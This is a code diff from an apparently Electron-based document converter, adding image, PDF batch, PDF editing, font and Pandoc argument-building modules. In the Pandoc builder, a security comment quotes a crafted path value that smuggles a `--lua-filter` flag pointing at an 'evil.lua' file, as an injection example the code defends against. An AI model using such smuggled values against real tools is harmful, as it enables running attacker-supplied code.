  try {
    const git = getGitInstance(dir);
    return isNew ? await git.checkoutLocalBranch(name) : await git.checkout(name);
  } catch (err) {
    return { error: err.message };
  }
 }
 async function push(dir) {
  try {
    const git = getGitInstance(dir);
    return await git.push();
  } catch (err) {
    return { error: err.message };
  }
 }
 async function pull(dir) {
  try {
    const git = getGitInstance(dir);
    return await git.pull();
  } catch (err) {
    return { error: err.message };
  }
 }
 module.exports = { getStatus, stage, commit, log, diff, branches, checkoutBranch, push, pull };
@@ -0,0 +1,198 @@
 /**
 * Image Operations Module
 *
 * Handles image manipulation via `sharp`: format conversion, resize, compress, rotate.
 * Mirrors the executeOperation(operation, data) dispatcher pattern used by PDFOperations.js.
 *
 * sharp loads LAZILY: its native bindings (@img/sharp-*) are optionalDependencies
 * that a packaged build can prune or fail to unpack, and a top-level require would
 * then crash the whole app at boot (src/main.js requires this module unconditionally).
 * When sharp cannot load, operations degrade honestly instead of killing the app —
 * the same honest-failure precedent PDFOperations set for missing pdf-lib features.
 *
 * @module ImageOperations
 */
 const fs = require('fs');
 const path = require('path');
 let sharpModule = null;
 let sharpLoadError = null;
 function loadSharp() {
  if (sharpModule) return sharpModule;
  if (sharpLoadError) throw sharpLoadError;
  try {
    sharpModule = require('sharp');
    return sharpModule;
  } catch (error) {
    sharpLoadError = error;
    throw error;
  }
 }
 // Strip absolute paths from error text before it reaches callers, mirroring
 // sanitizeErrorMessage() in main.js (that helper is not importable from here).
 function sanitizeMessage(message) {
  if (typeof message !== 'string') return String(message);
  return message
    .replace(/[A-Z]:\\[^\s"']+\\([^\s"'\\]+)/gi, '$1')
    .replace(/\/[^\s"']+\/([^\s"'/]+)/g, '$1');
 }
 // Must match the MAX_FILE_SIZE convention defined in main.js (50MB). main.js is the
 // single source of truth for this limit; this module does not redefine it independently
 // — callers (main.js) pass it in via data.maxFileSize when they want it enforced, and we
 // fall back to the same 50MB default so direct/unit-test callers are still protected.
 const DEFAULT_MAX_FILE_SIZE = 50 * 1024 * 1024;
 const RASTER_FORMATS = ['jpeg', 'png', 'webp', 'avif', 'tiff', 'gif'];
 const RESIZE_FIT_MODES = ['cover', 'contain', 'fill', 'inside', 'outside'];
 function validateInput(data) {
  const { inputPath, outputPath, maxFileSize } = data || {};
  if (!inputPath || !outputPath) {
    throw new Error('inputPath and outputPath are required');
  }
  if (!fs.existsSync(inputPath)) {
    throw new Error(`Input file not found: ${path.basename(inputPath)}`);
  }
  const limit = typeof maxFileSize === 'number' ? maxFileSize : DEFAULT_MAX_FILE_SIZE;
  const stats = fs.statSync(inputPath);
  if (stats.size > limit) {
    throw new Error(`File exceeds the ${Math.floor(limit / (1024 * 1024))}MB size limit.`);
  }
 }
 async function imageConvert(data) {
  try {
    const sharp = loadSharp();
    validateInput(data);
    const { inputPath, outputPath, format } = data;
    if (!RASTER_FORMATS.includes(format)) {
      throw new Error(`Unsupported output format: ${format}`);
    }
    await sharp(inputPath).toFormat(format).toFile(outputPath);
    return { success: true, outputPath };
  } catch (error) {
    throw new Error(`Image conversion failed: ${error.message}`);
  }
 }
 async function imageResize(data) {
  try {
    const sharp = loadSharp();
    validateInput(data);
    const { inputPath, outputPath, width = null, height = null, fit = 'inside' } = data;
    if (width === null && height === null) {
      throw new Error('At least one of width or height must be provided');
    }
    if (!RESIZE_FIT_MODES.includes(fit)) {
      throw new Error(`Unsupported fit mode: ${fit}`);
    }
    await sharp(inputPath).resize({ width, height, fit }).toFile(outputPath);
    return { success: true, outputPath };
  } catch (error) {
    throw new Error(`Image resize failed: ${error.message}`);
  }
 }
 async function imageCompress(data) {
  try {
    const sharp = loadSharp();
    validateInput(data);
    const { inputPath, outputPath, quality = 80 } = data;
    if (!Number.isInteger(quality) || quality < 1 || quality > 100) {
      throw new Error('quality must be an integer between 1 and 100');
    }
    const ext = path.extname(outputPath).toLowerCase().replace('.', '');
    let pipeline = sharp(inputPath);
    switch (ext) {
      case 'jpg':
      case 'jpeg':
        pipeline = pipeline.jpeg({ quality });
        break;
      case 'webp':
        pipeline = pipeline.webp({ quality });
        break;
      case 'avif':
        pipeline = pipeline.avif({ quality });
        break;
      case 'png':
        pipeline = pipeline.png({ quality, compressionLevel: 9 });
        break;
      default:
        throw new Error(`Unsupported compression output format: ${ext}`);
    }
    await pipeline.toFile(outputPath);
    return { success: true, outputPath };
  } catch (error) {
    throw new Error(`Image compression failed: ${error.message}`);
  }
 }
 async function imageRotate(data) {
  try {
    const sharp = loadSharp();
    validateInput(data);
    const { inputPath, outputPath, angle } = data;
    if (typeof angle !== 'number' || !Number.isFinite(angle)) {
      throw new Error('angle must be a number');
    }
    await sharp(inputPath).rotate(angle).toFile(outputPath);
    return { success: true, outputPath };
  } catch (error) {
    throw new Error(`Image rotation failed: ${error.message}`);
  }
 }
 function executeOperation(operation, data) {
  try {
    loadSharp();
  } catch (error) {
    // Honest degradation: the app keeps booting and every image op reports the
    // unavailable state as a resolved result instead of throwing at import time.
    return Promise.resolve({
      success: false,
      error: `Image operations unavailable: ${sanitizeMessage(error.message)}`,
    });
  }
  switch (operation) {
    case 'convert':
      return imageConvert(data);
    case 'resize':
      return imageResize(data);
    case 'compress':
      return imageCompress(data);
    case 'rotate':
      return imageRotate(data);
    default:
      return Promise.reject(new Error(`Unknown operation: ${operation}`));
  }
 }
 module.exports = {
  executeOperation,
  imageConvert,
  imageResize,
  imageCompress,
  imageRotate,
 };
@@ -0,0 +1,56 @@
 'use strict';
 const fs = require('fs');
 const path = require('path');
 const {
  getActiveMonoFont,
  isLigaturesEnabled,
  FAMILY_BY_KEY,
 } = require('./settings/monospaceSettings');
 const WEIGHT_BY_KEY = { 300: 'Light', 400: 'Regular', 500: 'Medium', 600: 'SemiBold', 700: 'Bold' };
 function getAppRoot() {
  if (
    process.resourcesPath &&
    fs.existsSync(path.join(process.resourcesPath, 'app.asar.unpacked'))
  ) {
    return process.resourcesPath;
  }
  return path.resolve(__dirname, '..', '..');
 }
 function getCandidatePaths(family, weight) {
  const familyDir = family === 'Fira Code' ? 'FiraCode' : 'JetBrainsMono';
  const weightName = WEIGHT_BY_KEY[weight] || 'Regular';
  const filename = `${familyDir}-${weightName}.ttf`;
  const candidates = [];
  candidates.push(path.resolve(getAppRoot(), 'assets', 'fonts', filename));
  const packagedRoot = process.resourcesPath || getAppRoot();
  candidates.push(path.join(packagedRoot, 'app.asar.unpacked', 'assets', 'fonts', filename));
  return candidates;
 }
 function getMonoFontTtfPath(familyKey, weight = 400) {
  const family = FAMILY_BY_KEY[familyKey] || 'JetBrains Mono';
  const candidates = getCandidatePaths(family, weight);
  for (const p of candidates) {
    if (fs.existsSync(p)) return p;
  }
  const filename = path.basename(candidates[candidates.length - 1]);
  console.warn(
    `[MonospaceFontConfig] bundled font missing: ${filename}; falling back to system monospace`
  );
  return null;
 }
 function ligaturesEnabled(settings) {
  return isLigaturesEnabled(settings);
 }
 function getActiveFamily(settings) {
  return getActiveMonoFont(settings);
 }
 module.exports = { getMonoFontTtfPath, ligaturesEnabled, getActiveFamily };
@@ -0,0 +1,177 @@
 /**
 * PDFBatchOperations
 *
 * Applies one PDFOperations.executeOperation() operation (watermark, compress,
 * rotate, split, ...) to every .pdf file in an input folder — the PDF sibling of
 * runMediaBatchOperation() in main.js (Task 12's image/audio/video batch mode):
 * collect matching files via collectFilesByExtension (which generalizes the
 * inline collectFiles() of the 'universal-convert-batch' handler), loop the
 * operation over them, and report per-file progress plus a final
 * completed/failed summary.
 *
 * Pulled out as its own Electron-free module (same precedent as
 * collectFilesByExtension) so the batch loop is unit-testable against real
 * pdf-lib fixtures; main.js injects the IPC-facing callbacks:
 *   onProgress -> mainWindow.webContents.send('batch-progress', ...)
 *   onComplete -> mainWindow.webContents.send('pdf-batch-complete', ...) + dialog
 *
 * Not every executeOperation op fits the "apply the same operation to every
 * file" batch model. Excluded (enforced by absence from PDF_BATCH_OUTPUT_SPEC,
 * which doubles as the defensive backstop for renderer-supplied op names):
 *   - merge / reorder / fillForm — consume per-file knowledge the batch flow
 *     cannot supply (merge takes many inputs in one op; reorder needs each
 *     file's full page order; fillForm's field values differ per file).
 *   - formFields — a read-only query returning data, not a transform.
 *   - encrypt / decrypt / permissions — pdf-lib 1.17.1 (bundled) lacks
 *     encryption support, so since Task 27 these ops fail honestly with an
 *     "unavailable" result instead of silently writing unprotected files;
 *     a batch run would deterministically fail every file.
 *
 * @module PDFBatchOperations
 */
 const fs = require('fs');
 const path = require('path');
 const PDFOperations = require('./PDFOperations');
 const { collectFilesByExtension } = require('./collectFilesByExtension');
 // How to derive each output file's path (or directory) from the source file,
 // mirroring BATCH_OUTPUT_SPEC in main.js:
 //   { ext: 'original' } -> <outputFolder>/<relativeDir>/<baseName>.pdf via outputPath
 //   { ext: 'txt' }      -> <outputFolder>/<relativeDir>/<baseName>.txt via outputPath
 //   { folder: true }    -> split writes its `<baseName>_part_N.pdf` files into
 //                          the mirrored output folder via outputFolder
 //   { dir: true }       -> extractImages writes images into a per-PDF
 //                          <outputFolder>/<relativeDir>/<baseName>/ via outputDir
 const PDF_BATCH_OUTPUT_SPEC = {
  split: { folder: true },
  compress: { ext: 'original' },
  rotate: { ext: 'original' },
  delete: { ext: 'original' },
  watermark: { ext: 'original' },
  extractText: { ext: 'txt' },
  pageNumbers: { ext: 'original' },
  crop: { ext: 'original' },
  extractImages: { dir: true },
 };
 /**
 * Runs a single PDFOperations operation over every .pdf under `inputFolder`.
 *
 * @param {object} args
 * @param {string} args.operation - executeOperation op name (must be batchable).
 * @param {string} args.inputFolder - Folder to scan for .pdf files.
 * @param {string} args.outputFolder - Destination folder (created if missing);
 *   the input folder's relative structure is mirrored beneath it.
 * @param {boolean} [args.includeSubfolders=true] - Recurse into subdirectories.
 * @param {object} [args.data={}] - Shared operation options forwarded to
 *   executeOperation for every file (same option shapes as the single-file PDF
 *   editor dialog; inputPath/outputPath are added per file here).
 * @param {number} [args.maxFileSize] - Skip (count as failed) files larger than
 *   this many bytes, mirroring the batch-convert handler's file-size guard.
 * @param {Function} [args.onProgress] - Called with { completed, failed, total,
 *   currentFile } before each file and once (currentFile: null) at the end —
 *   the existing 'batch-progress' payload shape.
 * @param {Function} args.onComplete - Called exactly once with the outcome:
 *   { success: false, error } for early failures, otherwise
 *   { success: true, completed, failed, total, outputFolder }.
 * @param {Function} [args.sanitizeError] - Sanitizer for error messages that
 *   could leak absolute paths (main.js passes sanitizeErrorMessage).
 * @returns {Promise<void>}
 */
 async function runPDFBatchOperation({
  operation,
  inputFolder,
  outputFolder,
  includeSubfolders,
  data = {},
  maxFileSize,
  onProgress = () => {},
  onComplete,
  sanitizeError = (message) => message,
 }) {
  const spec = PDF_BATCH_OUTPUT_SPEC[operation];
  if (!spec) {
    onComplete({
      success: false,
      error: `Batch mode is not supported for the "${operation}" operation.`,
    });
    return;
  }
  if (!inputFolder || !fs.existsSync(inputFolder)) {
    onComplete({ success: false, error: 'Input folder does not exist.' });
    return;
  }
  try {
    fs.mkdirSync(outputFolder, { recursive: true });
  } catch (error) {
    onComplete({
      success: false,
      error: sanitizeError(`Failed to create output folder: ${error.message}`),
    });
    return;
  }
  const files = collectFilesByExtension(inputFolder, ['.pdf'], includeSubfolders !== false);
  if (files.length === 0) {
    onComplete({ success: false, error: 'No matching files found in the selected folder.' });
    return;
  }
  const total = files.length;
  let completed = 0;
  let failed = 0;
  for (const filePath of files) {
    onProgress({
      completed,
      failed,
      total,
      currentFile: path.basename(filePath),
    });
    try {
      if (maxFileSize && fs.statSync(filePath).size > maxFileSize) {
        failed++;
        continue;
      }
      const baseName = path.basename(filePath, path.extname(filePath));
      const relativeDir = path.dirname(path.relative(inputFolder, filePath));
      const targetDir = relativeDir === '.' ? outputFolder : path.join(outputFolder, relativeDir);
      fs.mkdirSync(targetDir, { recursive: true });
      const fileData = { ...data, inputPath: filePath };
      if (spec.dir) {
        fileData.outputDir = path.join(targetDir, baseName);
      } else if (spec.folder) {
        fileData.outputFolder = targetDir;
      } else {
        const ext = spec.ext === 'original' ? 'pdf' : spec.ext;
        fileData.outputPath = path.join(targetDir, `${baseName}.${ext}`);
      }
      // PDFOperations ops report failures via { success: false } rather than by
      // throwing (each op catches internally), so the result flag — not just
      // the promise — decides the per-file outcome.
      const result = await PDFOperations.executeOperation(operation, fileData);
      if (result && result.success) {
        completed++;
      } else {
        failed++;
      }
    } catch {
      // stat/mkdir can throw (file vanished mid-scan, output path became a
      // file, ...): count the file as failed and keep the batch going, matching
      // how executeOperation's own failures are handled.
      failed++;
    }
  }
  onProgress({ completed, failed, total, currentFile: null });
  onComplete({ success: true, completed, failed, total, outputFolder });
 }
 module.exports = { runPDFBatchOperation, PDF_BATCH_OUTPUT_SPEC };
@@ -2,6 +2,30 @@ const fs = require('fs');
 const path = require('path');
 const { PDFDocument, rgb, degrees, StandardFonts } = require('pdf-lib');
 // pdf-lib 1.17.1 cannot encrypt: SaveOptions has no userPassword/ownerPassword/
 // permissions fields, so save() silently ignores them and writes an unprotected
 // file, and PDFDocument.load() cannot open password-protected input (verified
 // empirically in Task 22's review). Rather than trusting a pinned version
 // string, probe the installed library once at module load: save a tiny
 // in-memory document with a userPassword and check the raw bytes for an
 // /Encrypt dictionary (which an unencrypted document never contains). A library
 // that supports encryption passes the probe and the password ops re-enable
 // automatically. Probe errors fail closed (treated as unsupported).
 const pdfEncryptionSupported = (async () => {
  try {
    const probeDoc = await PDFDocument.create();
    const probeBytes = await probeDoc.save({ userPassword: 'encryption-capability-probe' });
    return Buffer.from(probeBytes).includes('/Encrypt');
  } catch {
    return false;
  }
 })();
 // Returned by the password ops when the probe reports no encryption support
 // (Task 27): fail honestly instead of silently writing an unprotected file.
 const PDF_ENCRYPTION_UNAVAILABLE_MESSAGE =
  'Password protection is not available in this build (pdf-lib lacks encryption support).';
 function parsePageRanges(rangeString, totalPages) {
  const pages = [];
  const ranges = rangeString.split(',').map((r) => r.trim());
@@ -88,6 +112,9 @@ async function pdfSplit(data) {
      }
    } else if (data.splitMode === 'interval') {
      const interval = data.interval;
      if (!Number.isInteger(interval) || interval <= 0) {
        return { success: false, message: 'Split interval must be a positive integer.' };
      }
      for (let i = 0; i < totalPages; i += interval) {
        const pages = [];
        for (let j = i; j < i + interval && j < totalPages; j++) {
@@ -230,6 +257,30 @@ async function pdfReorder(data) {
  }
 }
 // Shared corner/center coordinate mapping used by pdfWatermark and pdfAddPageNumbers.
 function resolvePosition(position, width, height, margin = 50) {
  switch (position) {
    case 'center':
      return { x: width / 2, y: height / 2 };
    case 'diagonal':
      return { x: width / 2, y: height / 2 };
    case 'top-left':
      return { x: margin, y: height - margin };
    case 'top-center':
      return { x: width / 2, y: height - margin };
    case 'top-right':
      return { x: width - margin, y: height - margin };
    case 'bottom-left':
      return { x: margin, y: margin };
    case 'bottom-center':
      return { x: width / 2, y: margin };
    case 'bottom-right':
      return { x: width - margin, y: margin };
    default:
      return { x: width / 2, y: height / 2 };
  }
 }
 async function pdfWatermark(data) {
  try {
    const pdfBytes = fs.readFileSync(data.inputPath);
@@ -250,48 +301,8 @@ async function pdfWatermark(data) {
      const page = pdf.getPage(pageIndex);
      const { width, height } = page.getSize();
-      let x,
+      const { x, y } = resolvePosition(data.position, width, height, 50);
-        y,
+      const rotation = data.position === 'diagonal' ? 45 : 0;
        rotation = 0;
      switch (data.position) {
        case 'center':
          x = width / 2;
          y = height / 2;
          break;
        case 'diagonal':
          x = width / 2;
          y = height / 2;
          rotation = 45;
          break;
        case 'top-left':
          x = 50;
          y = height - 50;
          break;
        case 'top-center':
          x = width / 2;
          y = height - 50;
          break;
        case 'top-right':
          x = width - 50;
          y = height - 50;
          break;
        case 'bottom-left':
          x = 50;
          y = 50;
          break;
        case 'bottom-center':
          x = width / 2;
          y = 50;
          break;
        case 'bottom-right':
          x = width - 50;
          y = 50;
          break;
        default:
          x = width / 2;
          y = height / 2;
      }
      page.drawText(data.text, {
        x,
@@ -317,6 +328,9 @@ async function pdfWatermark(data) {
 }
 async function pdfEncrypt(data) {
  if (!(await pdfEncryptionSupported)) {
    return { success: false, message: PDF_ENCRYPTION_UNAVAILABLE_MESSAGE };
  }
  try {
    const pdfBytes = fs.readFileSync(data.inputPath);
    const pdf = await PDFDocument.load(pdfBytes);
@@ -351,6 +365,9 @@ async function pdfEncrypt(data) {
 }
 async function pdfDecrypt(data) {
  if (!(await pdfEncryptionSupported)) {
    return { success: false, message: PDF_ENCRYPTION_UNAVAILABLE_MESSAGE };
  }
  try {
    const pdfBytes = fs.readFileSync(data.inputPath);
    const pdf = await PDFDocument.load(pdfBytes, { password: data.password });
@@ -368,6 +385,9 @@ async function pdfDecrypt(data) {
 }
 async function pdfSetPermissions(data) {
  if (!(await pdfEncryptionSupported)) {
    return { success: false, message: PDF_ENCRYPTION_UNAVAILABLE_MESSAGE };
  }
  try {
    const pdfBytes = fs.readFileSync(data.inputPath);
    const loadOptions = data.currentPassword ? { password: data.currentPassword } : {};
@@ -401,6 +421,274 @@ async function pdfSetPermissions(data) {
  }
 }
 // pdf-lib has no text-extraction API, so this loads pdfjs-dist's Node-friendly
 // "legacy" build (the standard build assumes DOM globals like DOMMatrix).
 // pdfjs-dist v5.x ships ESM-only, so it must be loaded via dynamic import()
 // even from this CommonJS module.
 async function loadPdfjs() {
  return import('pdfjs-dist/legacy/build/pdf.mjs');
 }
 // Points pdfjs-dist at its bundled standard font metrics so it doesn't warn
 // (and degrade text-extraction fidelity) when a PDF uses a standard font.
 function getStandardFontDataUrl() {
  return (
    path.join(path.dirname(require.resolve('pdfjs-dist/package.json')), 'standard_fonts') + path.sep
  );
 }
 async function pdfExtractText(data) {
  try {
    const pdfjsLib = await loadPdfjs();
    const fileData = new Uint8Array(fs.readFileSync(data.inputPath));
    const pdf = await pdfjsLib.getDocument({
      data: fileData,
      standardFontDataUrl: getStandardFontDataUrl(),
    }).promise;
    let text = '';
    for (let pageNum = 1; pageNum <= pdf.numPages; pageNum++) {
      const page = await pdf.getPage(pageNum);
      const content = await page.getTextContent();
      const pageText = content.items.map((item) => item.str).join(' ');
      text += pageText + '\n';
    }
    const trimmedText = text.trim();
    const result = { success: true, text: trimmedText };
    // outputPath is optional: when provided (e.g. from the PDF editor UI),
    // also save the extracted text to disk and report where it went.
    if (data.outputPath) {
      fs.writeFileSync(data.outputPath, trimmedText, 'utf8');
      result.message = `Successfully extracted text to ${data.outputPath}`;
    }
    return result;
  } catch (error) {
    return { success: false, error: error.message };
  }
 }
 async function pdfAddPageNumbers(data) {
  try {
    const pdfBytes = fs.readFileSync(data.inputPath);
    const pdf = await PDFDocument.load(pdfBytes);
    const totalPages = pdf.getPageCount();
    const font = await pdf.embedFont(StandardFonts.Helvetica);
    const position = data.position || 'bottom-center';
    const fontSize = data.fontSize || 12;
    const startNumber = data.startNumber && data.startNumber > 0 ? data.startNumber : 1;
    for (let i = 0; i < totalPages; i++) {
      const page = pdf.getPage(i);
      const { width, height } = page.getSize();
      const { x, y } = resolvePosition(position, width, height, 30);
      const label = String(startNumber + i);
      const textWidth = font.widthOfTextAtSize(label, fontSize);
      let drawX = x;
      if (position.includes('center')) {
        drawX = x - textWidth / 2;
      } else if (position.includes('right')) {
        drawX = x - textWidth;
      }
      page.drawText(label, {
        x: drawX,
        y,
        size: fontSize,
        font,
        color: rgb(0, 0, 0),
      });
    }
    const newPdfBytes = await pdf.save();
    fs.writeFileSync(data.outputPath, newPdfBytes);
    return { success: true, message: `Successfully added page numbers to ${totalPages} page(s)` };
  } catch (error) {
    return { success: false, error: error.message };
  }
 }
 async function pdfCrop(data) {
  try {
    const pdfBytes = fs.readFileSync(data.inputPath);
    const pdf = await PDFDocument.load(pdfBytes);
    const totalPages = pdf.getPageCount();
    const margins = data.margins || {};
    const top = margins.top || 0;
    const bottom = margins.bottom || 0;
    const left = margins.left || 0;
    const right = margins.right || 0;
    for (let i = 0; i < totalPages; i++) {
      const page = pdf.getPage(i);
      const mediaBox = page.getMediaBox();
      const newWidth = mediaBox.width - left - right;
      const newHeight = mediaBox.height - top - bottom;
      if (newWidth <= 0 || newHeight <= 0) {
        return { success: false, error: `Crop margins are too large for page ${i + 1}` };
      }
      page.setCropBox(mediaBox.x + left, mediaBox.y + bottom, newWidth, newHeight);
    }
    const croppedPdfBytes = await pdf.save();
    fs.writeFileSync(data.outputPath, croppedPdfBytes);
    return { success: true, message: `Successfully cropped ${totalPages} page(s)` };
  } catch (error) {
    return { success: false, error: error.message };
  }
 }
 async function pdfExtractImages(data) {
  try {
    const pdfjsLib = await loadPdfjs();
    // sharp is only needed here; require lazily to match the module's existing
    // pattern of not pulling heavy optional deps in until an operation runs.
    const sharp = require('sharp');
    const fileData = new Uint8Array(fs.readFileSync(data.inputPath));
    const pdf = await pdfjsLib.getDocument({
      data: fileData,
      standardFontDataUrl: getStandardFontDataUrl(),
    }).promise;
    if (!fs.existsSync(data.outputDir)) {
      fs.mkdirSync(data.outputDir, { recursive: true });
    }
    const baseName = path.basename(data.inputPath, path.extname(data.inputPath));
    const files = [];
    let imageIndex = 0;
    for (let pageNum = 1; pageNum <= pdf.numPages; pageNum++) {
      const page = await pdf.getPage(pageNum);
      const opList = await page.getOperatorList();
      for (let i = 0; i < opList.fnArray.length; i++) {
        if (opList.fnArray[i] !== pdfjsLib.OPS.paintImageXObject) {
          continue;
        }
        const objId = opList.argsArray[i][0];
        try {
          const imgObj = await new Promise((resolve) => page.objs.get(objId, resolve));
          if (!imgObj || !imgObj.data || !imgObj.width || !imgObj.height) {
            continue;
          }
          const channels =
            imgObj.kind === pdfjsLib.ImageKind.RGBA_32BPP
              ? 4
              : imgObj.kind === pdfjsLib.ImageKind.GRAYSCALE_1BPP
                ? 1
                : 3;
          imageIndex++;
          const outputFile = path.join(
            data.outputDir,
            `${baseName}_page${pageNum}_img${imageIndex}.png`
          );
          await sharp(Buffer.from(imgObj.data), {
            raw: { width: imgObj.width, height: imgObj.height, channels },
          })
            .png()
            .toFile(outputFile);
          files.push(outputFile);
        } catch {
          // Skip images pdfjs/sharp can't decode (e.g. unsupported color spaces).
          continue;
        }
      }
    }
    return {
      success: true,
      count: files.length,
      files,
      message: `Successfully extracted ${files.length} image(s)`,
    };
  } catch (error) {
    return { success: false, error: error.message };
  }
 }
 async function pdfGetFormFields(data) {
  try {
    const pdfBytes = fs.readFileSync(data.inputPath);
    const pdf = await PDFDocument.load(pdfBytes);
    const form = pdf.getForm();
    const fields = form.getFields().map((field) => {
      let value;
      try {
        if (typeof field.getText === 'function') {
          value = field.getText();
        } else if (typeof field.isChecked === 'function') {
          value = field.isChecked();
        } else if (typeof field.getSelected === 'function') {
          value = field.getSelected();
        }
      } catch {
        // Some field types throw when read in an unexpected state; leave value undefined.
        value = undefined;
      }
      return { name: field.getName(), type: field.constructor.name, value };
    });
    return { success: true, fields };
  } catch (error) {
    return { success: false, error: error.message };
  }
 }
 async function pdfFillForm(data) {
  try {
    const pdfBytes = fs.readFileSync(data.inputPath);
    const pdf = await PDFDocument.load(pdfBytes);
    const form = pdf.getForm();
    const values = data.values || {};
    let filledCount = 0;
    for (const [name, value] of Object.entries(values)) {
      try {
        const field = form.getTextField(name);
        field.setText(value !== null && value !== undefined ? String(value) : '');
        filledCount++;
      } catch (fieldError) {
        // Batch-of-independent-fields: a field that doesn't exist or isn't a text
        // field shouldn't fail the whole fill — skip it and keep going (same
        // partial-success precedent as pdfExtractImages).
        console.warn(`pdfFillForm: skipping field "${name}": ${fieldError.message}`);
      }
    }
    if (data.flatten) {
      form.flatten();
    }
    const filledPdfBytes = await pdf.save();
    fs.writeFileSync(data.outputPath, filledPdfBytes);
    return { success: true, message: `Successfully filled ${filledCount} form field(s)` };
  } catch (error) {
    return { success: false, error: error.message };
  }
 }
 function executeOperation(operation, data) {
  switch (operation) {
    case 'merge':
@@ -423,6 +711,18 @@ function executeOperation(operation, data) {
      return pdfDecrypt(data);
    case 'permissions':
      return pdfSetPermissions(data);
    case 'extractText':
      return pdfExtractText(data);
    case 'pageNumbers':
      return pdfAddPageNumbers(data);
    case 'crop':
      return pdfCrop(data);
    case 'extractImages':
      return pdfExtractImages(data);
    case 'formFields':
      return pdfGetFormFields(data);
    case 'fillForm':
      return pdfFillForm(data);
    default:
      return Promise.resolve({ success: false, error: `Unknown operation: ${operation}` });
  }
@@ -437,6 +737,8 @@ async function getPageCount(filePath) {
 module.exports = {
  parsePageRanges,
  hexToRgb,
  pdfEncryptionSupported,
  PDF_ENCRYPTION_UNAVAILABLE_MESSAGE,
  pdfMerge,
  pdfSplit,
  pdfCompress,
@@ -447,6 +749,12 @@ module.exports = {
  pdfEncrypt,
  pdfDecrypt,
  pdfSetPermissions,
  pdfExtractText,
  pdfAddPageNumbers,
  pdfCrop,
  pdfExtractImages,
  pdfGetFormFields,
  pdfFillForm,
  executeOperation,
  getPageCount,
 };
@@ -0,0 +1,135 @@
 /**
 * Pure builders for Pandoc execFile argument arrays.
 *
 * Every Pandoc invocation in the main process must call
 * execFile(pandocPath, args) with an argument array built here or with plain
 * Array.push calls — never a command string that is later re-tokenized.
 * Values that come from the user (file paths, template names, metadata values)
 * are pushed verbatim as single argv elements, so a crafted value such as
 * `/tmp/x.bib" --lua-filter=/tmp/evil.lua` can never break out of its argument
 * and inject additional Pandoc flags (security finding SEC-1).
 */
 /**
 * Formats exported through a plain `-t <target>` conversion. The export dialog
 * replaces the whole command for these formats (dialog options like template or
 * metadata are not applied) — this map preserves that pre-existing behavior.
 */
 const SIMPLE_TARGET_FORMATS = {
  json: 'json',
  beamer: 'beamer',
  confluence: 'jira',
  jira: 'jira',
  asciidoc: 'asciidoc',
  rst: 'rst',
  mediawiki: 'mediawiki',
  org: 'org',
  textile: 'textile',
  man: 'man',
  ipynb: 'ipynb',
 };
 /**
 * Append the export-dialog options shared by the export, batch-conversion and
 * fallback paths. Each value lands in argv exactly once, unquoted and
 * unescaped — execFile passes array elements as literal arguments.
 * @param {string[]} args - Argument array to append to (mutated)
 * @param {Object} options - Export options ({ template, metadata, variables,
 *   toc, tocDepth, numberSections, citeproc, bibliography, csl })
 */
 function appendCommonOptions(args, options) {
  if (!options) return;
  if (options.template && options.template !== 'default') {
    args.push(`--template=${options.template}`);
  }
  if (options.metadata) {
    for (const [key, value] of Object.entries(options.metadata)) {
      if (value.trim()) {
        args.push('-M', `${key}=${value}`);
      }
    }
  }
  if (options.variables) {
    for (const [key, value] of Object.entries(options.variables)) {
      if (value.trim()) {
        args.push('-V', `${key}=${value}`);
      }
    }
  }
  if (options.toc) args.push('--toc');
  if (options.tocDepth) args.push(`--toc-depth=${options.tocDepth}`);
  if (options.numberSections) args.push('--number-sections');
  if (options.citeproc) args.push('--citeproc');
  if (options.bibliography) args.push(`--bibliography=${options.bibliography}`);
  if (options.csl) args.push(`--csl=${options.csl}`);
 }
 /**
 * Append the shared prefix of every PDF invocation: the pdf engine flag and,
 * when set, the page geometry variable.
 * @param {string[]} args - Argument array to append to (mutated)
 * @param {Object} params
 * @param {string} [params.pdfEngine] - Falls back to xelatex when omitted
 * @param {string} [params.geometry] - LaTeX geometry string (e.g. margin=1in)
 */
 function appendPdfEngineOptions(args, { pdfEngine, geometry } = {}) {
  args.push(`--pdf-engine=${pdfEngine || 'xelatex'}`);
  if (geometry) args.push('-V', `geometry:${geometry}`);
 }
 /**
 * Append the PowerPoint footer variable (used when header/footer is enabled).
 * @param {string[]} args - Argument array to append to (mutated)
 * @param {string} footerText - Processed footer text
 */
 function appendFooterVariable(args, footerText) {
  if (footerText) args.push('--variable', `footer=${footerText}`);
 }
 /**
 * Build the base argument array for the export dialog and batch conversion:
 * input, -o output, the shared export options, and the `-t docx` tail for
 * Word exports. Format-specific extras (PDF engine flags, EPUB fonts, HTML
 * css, reveal.js themes) are appended by the call site.
 * @param {Object} params
 * @param {string} params.inputFile - Path passed to pandoc verbatim
 * @param {string} params.outputFile - Path passed to pandoc verbatim
 * @param {string} [params.format] - Export format name
 * @param {Object} [params.options] - Export dialog options
 * @returns {string[]}
 */
 function buildPandocArgs({ inputFile, outputFile, format, options = {} }) {
  const args = [inputFile, '-o', outputFile];
  appendCommonOptions(args, options);
  if (format === 'docx') {
    args.push('-t', 'docx');
  }
  return args;
 }
 /**
 * Build args for the simple `-t <target>` formats (see SIMPLE_TARGET_FORMATS).
 * @param {string} inputFile - Input path
 * @param {string} outputFile - Output path
 * @param {string} format - Export format name
 * @returns {string[]|null} Argument array, or null when format is not one of
 *   the simple target formats
 */
 function buildSimpleTargetArgs(inputFile, outputFile, format) {
  const target = SIMPLE_TARGET_FORMATS[format];
  if (!target) return null;
  return [inputFile, '-t', target, '-o', outputFile];
 }
 module.exports = {
  SIMPLE_TARGET_FORMATS,
  appendCommonOptions,
  appendPdfEngineOptions,
  appendFooterVariable,
  buildPandocArgs,
  buildSimpleTargetArgs,
 };
@@ -0,0 +1,47 @@
 'use strict';
 // fontspec accepts forward-slash paths on all platforms (TeX normalizes).
 // Normalize Windows backslashes so we can reliably build Path/filename.
 function toPosix(p) {
  return String(p).replace(/\\/g, '/');
 }
 function escape(s) {
  // fontspec values: braces are the only TeX-significant chars we might emit
  // from a basename. Backslashes are converted to '/' upstream by toPosix().
  return String(s).replace(/[{}]/g, '\\$&');
 }
 function dirOf(p) {
  return toPosix(p).replace(/\/[^/]+$/, '') + '/';
 }
 function baseName(p) {
  return toPosix(p).split('/').pop();
 }
 // Strip a weight-style suffix from a TTF filename to get the family prefix
 // (e.g. JetBrainsMono-Regular.ttf -> JetBrainsMono). Used as the `\setmonofont`
 // argument so `*-Regular` / `*-Bold` globs resolve to the right files.
 function weightPrefix(p) {
  return baseName(p).replace(/-(Regular|Bold|Light|Medium|SemiBold|Italic)\.ttf$/i, '');
 }
